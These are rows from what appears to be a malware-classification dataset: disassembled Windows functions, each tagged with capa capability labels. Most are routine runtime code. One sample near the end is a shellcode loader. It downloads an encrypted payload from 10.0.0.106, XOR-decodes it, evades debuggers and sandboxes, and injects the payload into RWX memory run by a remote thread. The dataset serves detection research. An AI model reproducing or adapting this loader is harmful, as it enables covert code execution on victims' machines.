joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14005e4f8
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.14007bb20
sub rsp, rax
mov rax, qword [0x14009d040]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.14006da54
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x14005e547
mov rax, rbp
jmp 0x14005e64f
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x9ef50]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.14006e950
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x9ef50]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x14005e64b
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14005e64b
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.14006e950
test rax, rax
js 0x14005e64b
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x14005e64b
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x14005e63d
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x14005e63d
cmp byte [rcx], 0xd
jne 0x14005e623
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x14005e632
cmp byte [rcx + 1], 0xa
jne 0x14005e632
inc rcx
jmp 0x14005e632
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x9d470]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x14005e605
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x14005e64f
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.14007baf0
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x140066138
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x1400661a7
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400661a7
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400661a7
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400661a7
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400661a7
cmp dword [rcx + 0x84], 0xe
jbe 0x1400661a7
cmp dword [rcx + 0xf8], 0
je 0x1400661a7
mov ecx, ebx
call fcn.140066258
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140066034
nop
cmp dword [rbp + 0x20], 0
je 0x1400661f5
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140066200
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x140066138
Function at 0x14006633c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140066138

Function at 0x14006e9fc
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x14009ef50]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x14006ea53
cmp word [rdx], r13w
jne 0x14006ea53
or byte [rax + rdi*8 + 0x38], cl
jmp 0x14006ea58
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x14006eb7d
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x14006eb9e
lea r9, [rdx + 2]
cmp cx, r11w
je 0x14006ea91
mov rdx, r9
mov word [rbx], cx
jmp 0x14006eab8
cmp r9, r8
jae 0x14006eac8
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x14006ea72
jmp 0x14006eb7d
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14006eb72
cmp dword [rsp + 0x80], esi
je 0x14006eb72
lea r8, [0x14009ef50]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x14006eb4a
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x14006eb1a
mov word [rbx], r13w
jmp 0x14006eb7a
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x14006eb27
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x14006eb7a
cmp word [rsp + 0x70], r13w
jne 0x14006eb57
cmp rbx, r14
je 0x14006eb14
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.14006e958
cmp word [rsp + 0x70], r13w
je 0x14006eb7d
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x14009ef50]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x14006eb77
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x14006eb7d
Function at 0x1400706d8
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x1400706ee
mov al, 1
jmp 0x14007074e
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1400706ff
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14007074c
mov ecx, dword [rcx + 0x18]
nop
call fcn.140072af8
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14007074c
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14007074c
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14007074c
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14007074e
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x1400724d8
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140072508
xor eax, eax
jmp 0x1400725cb
mov rbp, rbx
cmp word [rax], si
je 0x14007252d
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140072514
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140072510
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1400723f8
movsxd r14, eax
test eax, eax
jne 0x14007256b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140072501
mov rcx, r14
call fcn.14006c754
mov rdi, rax
test rax, rax
jne 0x140072584
xor ecx, ecx
call fcn.14006ac74
jmp 0x140072560
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1400723f8
test eax, eax
jne 0x1400725b5
mov rcx, rdi
call fcn.14006ac74
jmp 0x1400725bf
xor ecx, ecx
call fcn.14006ac74
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x1400751dc
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.14006c3f4
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x14007527d
cmp ebx, dword [rsp + 0x30]
je 0x140075276
test esi, esi
je 0x140075276
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x140075251
sub r8w, 0x61
cmp r8w, 0x19
ja 0x14007525e
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x14007523b
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x140075262
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x14007527f
mov eax, 1
jmp 0x14007527f
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14007a460
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14006e958
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14006e958
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x14007a5b0
cmp rax, 0xffffffffffffffff
je 0x14007a5b0
xor edi, edi
test rbp, rbp
jle 0x14007a55b
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14006abfc
mov rbx, rax
test rax, rax
jne 0x14007a4e8
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x14007a551
mov edx, 0x8000
mov ecx, r14d
call fcn.1400663b8
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14006fed4
cmp eax, 0xffffffff
je 0x14007a531
cdqe
sub rbp, rax
test rbp, rbp
jg 0x14007a4f8
mov edx, r15d
mov ecx, r14d
call fcn.1400663b8
jmp 0x14007a551
cmp byte [rsi + 0x38], dil
je 0x14007a548
cmp dword [rsi + 0x34], 5
jne 0x14007a548
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x14007a551
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14006ac74
jmp 0x14007a5c4
jns 0x14007a5c4
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14006e958
cmp rax, 0xffffffffffffffff
jne 0x14007a57c
cmp byte [rsi + 0x30], dil
je 0x14007a5c4
mov edi, dword [rsi + 0x2c]
jmp 0x14007a5c4
mov ecx, r14d
call fcn.140072af8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x14007a5c4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x14007a5c4
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x14007a5bd
mov eax, dword [rsi + 0x2c]
jmp 0x14007a5c2
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14006e958
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x14007bc10
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14007bc38
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14007bc38
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001000
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edx, 0x2b67
mov r8d, 0xa
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdx, rax
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
lea r9, str.oudfhge
xor edx, edx
xor ecx, ecx
mov r8d, 1
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x30]
xor eax, eax
add rsp, 0x20
pop rdi
ret

Function at 0x140001ab0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001afa
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001afa
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001afa
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001afa
cmp dword [rcx + 0x84], 0xe
jbe 0x140001afa
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001afc
xor al, al
add rsp, 0x28
ret

Function at 0x14000506c
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x1400050db
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400050db
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400050db
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400050db
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400050db
cmp dword [rcx + 0x84], 0xe
jbe 0x1400050db
cmp dword [rcx + 0xf8], 0
je 0x1400050db
mov ecx, ebx
call fcn.14000518c
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140004f68
nop
cmp dword [rbp + 0x20], 0
je 0x140005129
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140005134
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x14000506c

Function at 0x140005270
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000506c
Function at 0x140008324
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140008354
xor eax, eax
jmp 0x140008417
mov rbp, rbx
cmp word [rax], si
je 0x140008379
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140008360
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14000835c
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140008244
movsxd r14, eax
test eax, eax
jne 0x1400083b7
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14000834d
mov rcx, r14
call fcn.140008db8
mov rdi, rax
test rax, rax
jne 0x1400083d0
xor ecx, ecx
call fcn.14000687c
jmp 0x1400083ac
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140008244
test eax, eax
jne 0x140008401
mov rcx, rdi
call fcn.14000687c
jmp 0x14000840b
xor ecx, ecx
call fcn.14000687c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14000db80
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14000dba8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14000dba8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001000
Capabilities:
Encode data using xor
Reference http user-agent string

Disassembly:
push rbx
push rsi
push rdi
push r14
mov eax, 0x1068
call fcn.1400021d0
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1050], rax
xor ebx, ebx
mov qword [rsp + 0x38], r9
lea rcx, str.wininet.dll
mov qword [rsp + 0x30], rdx
mov esi, ebx
mov edi, ebx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
jne 0x14000104c
mov r14d, ebx
jmp 0x14000105f
lea rdx, str.InternetOpenW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
lea rcx, str.wininet.dll
mov qword [rsp + 0x10a0], r12
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
jne 0x14000107e
mov r12, rbx
jmp 0x140001091
lea rdx, str.InternetOpenUrlW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
lea rcx, str.wininet.dll
mov qword [rsp + 0x10a8], r13
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
jne 0x1400010b0
mov r13, rbx
jmp 0x1400010c3
lea rdx, str.InternetReadFile
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
lea rcx, str.wininet.dll
mov qword [rsp + 0x1090], rbp
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
jne 0x1400010e2
mov rbp, rbx
jmp 0x1400010f5
lea rdx, str.InternetCloseHandle
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbp, rax
mov qword [rsp + 0x1060], r15
test r14, r14
je 0x140001237
test r12, r12
je 0x140001237
test r13, r13
je 0x140001237
test rbp, rbp
je 0x140001237
xor r9d, r9d
mov dword [rsp + 0x20], ebx
xor r8d, r8d
lea rcx, str.Mozilla_5.0
mov edx, 1
call r14
mov r15, rax
test rax, rax
je 0x140001237
mov qword [rsp + 0x28], rbx
lea rdx, str.http:__10.0.0.106_msg_encrypted.bin
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rax
call r12
mov r14, rax
test rax, rax
je 0x140001232
lea r9, [rsp + 0x40]
mov r8d, 0x1000
lea rdx, [rsp + 0x50]
mov rcx, rax
call r13
test eax, eax
je 0x1400011ea
mov r12, 0xffffffffffffffff
mov eax, dword [rsp + 0x40]
test eax, eax
je 0x1400011ea
mov rdx, rdi
mov rcx, rsi
add rdx, rax
cmovb rdx, r12
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
mov rsi, rax
test rax, rax
je 0x14000122d
mov r8d, dword [rsp + 0x40]
lea rcx, [rdi + rax]
lea rdx, [rsp + 0x50]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x40]
lea r9, [rsp + 0x40]
mov r8d, 0x1000
lea rdx, [rsp + 0x50]
mov rcx, r14
add rdi, rax
call r13
test eax, eax
jne 0x140001193
mov rcx, r14
call rbp
mov rcx, r15
call rbp
mov rax, qword [rsp + 0x30]
mov qword [rax], rdi
test rdi, rdi
je 0x140001228
mov rcx, qword [rsp + 0x38]
lea r8, str.my_secret_key
nop dword [rax]
xor edx, edx
mov rax, rbx
div rcx
movzx eax, byte [rdx + r8]
xor byte [rsi + rbx], al
inc rbx
cmp rbx, rdi
jb 0x140001210
mov rax, rsi
jmp 0x140001239
mov rcx, r14
call rbp
mov rcx, r15
call rbp
xor eax, eax
mov r15, qword [rsp + 0x1060]
mov r13, qword [rsp + 0x10a8]
mov r12, qword [rsp + 0x10a0]
mov rbp, qword [rsp + 0x1090]
mov rcx, qword [rsp + 0x1050]
xor rcx, rsp
call fcn.1400013c0
add rsp, 0x1068
pop r14
pop rdi
pop rsi
pop rbx
ret
Function at 0x140001280
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Create thread
Inject thread
Spawn thread to rwx shellcode
Terminate process

Disassembly:
sub rsp, 0x48
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x14000129a
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rsp + 0x58], rbx
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x1388
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, ebx
cmp eax, 0x1388
jae 0x1400012d0
mov rbx, qword [rsp + 0x58]
mov eax, 1
add rsp, 0x48
ret
mov r9d, 0xd
lea rdx, [rsp + 0x50]
call section..text
mov rbx, rax
test rax, rax
je 0x1400013a1
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8, qword [rsp + 0x50]
mov r9d, 0x3000
mov rcx, rax
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
je 0x14000138e
mov r9, qword [rsp + 0x50]
mov r8, rbx
mov qword [rsp + 0x40], r14
mov rdx, rax
xor r14d, r14d
mov rcx, rdi
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], r14
mov r9, rsi
mov dword [rsp + 0x28], r14d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r14, qword [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rdi, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x58]
xor eax, eax
add rsp, 0x48
ret

Function at 0x140001c88
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001cd2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001cd2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001cd2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001cd2
cmp dword [rcx + 0x84], 0xe
jbe 0x140001cd2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001cd4
xor al, al
add rsp, 0x28
ret
Function at 0x140018ac0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x140018c4b
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov rcx, qword [0x14045afa0]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.140038b20
xorps xmm15, xmm15
mov r14, qword [0x1409a3ca0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
jne 0x140018b25
mov rax, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
jmp 0x140018b34
add rsp, 0x48
pop rbp
ret
sub rcx, rbx
add rax, rbx
mov rbx, rcx
test rbx, rbx
jbe 0x140018b53
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rax
mov rcx, rbx
jmp 0x140018b63
cmp rbx, 0x1000
jae 0x140018b2b
jmp 0x140018bcd
add rsp, 0x48
pop rbp
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
cmp rbx, 0x1000
jae 0x140018b75
xor edx, edx
jmp 0x140018bc4
mov rcx, qword [0x14045afa0]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.140038b20
xorps xmm15, xmm15
mov r14, qword [0x1409a3ca0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
sete al
mov rcx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
mov edx, eax
mov rax, qword [rsp + 0x40]
test dl, dl
jne 0x140018b59
jmp 0x140018b48
call fcn.140070540
xorps xmm15, xmm15
mov r14, qword [0x1409a3ca0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov qword [rsp + 0x30], rax
call fcn.14003d060
lea rax, [0x140587b98]
mov ebx, 0x18
nop dword [rax]
call fcn.14003d8e0
mov rax, qword [rsp + 0x38]
call fcn.14003d620
lea rax, [0x14058863c]
mov ebx, 0x19
nop dword [rax + rax]
call fcn.14003d8e0
mov rax, qword [rsp + 0x30]
call fcn.14003d620
call fcn.14003d2a0
call fcn.14003d0c0
lea rax, [0x14058db7c]
mov ebx, 0x21
call fcn.14003b5c0
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.14006cde0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.140018ac0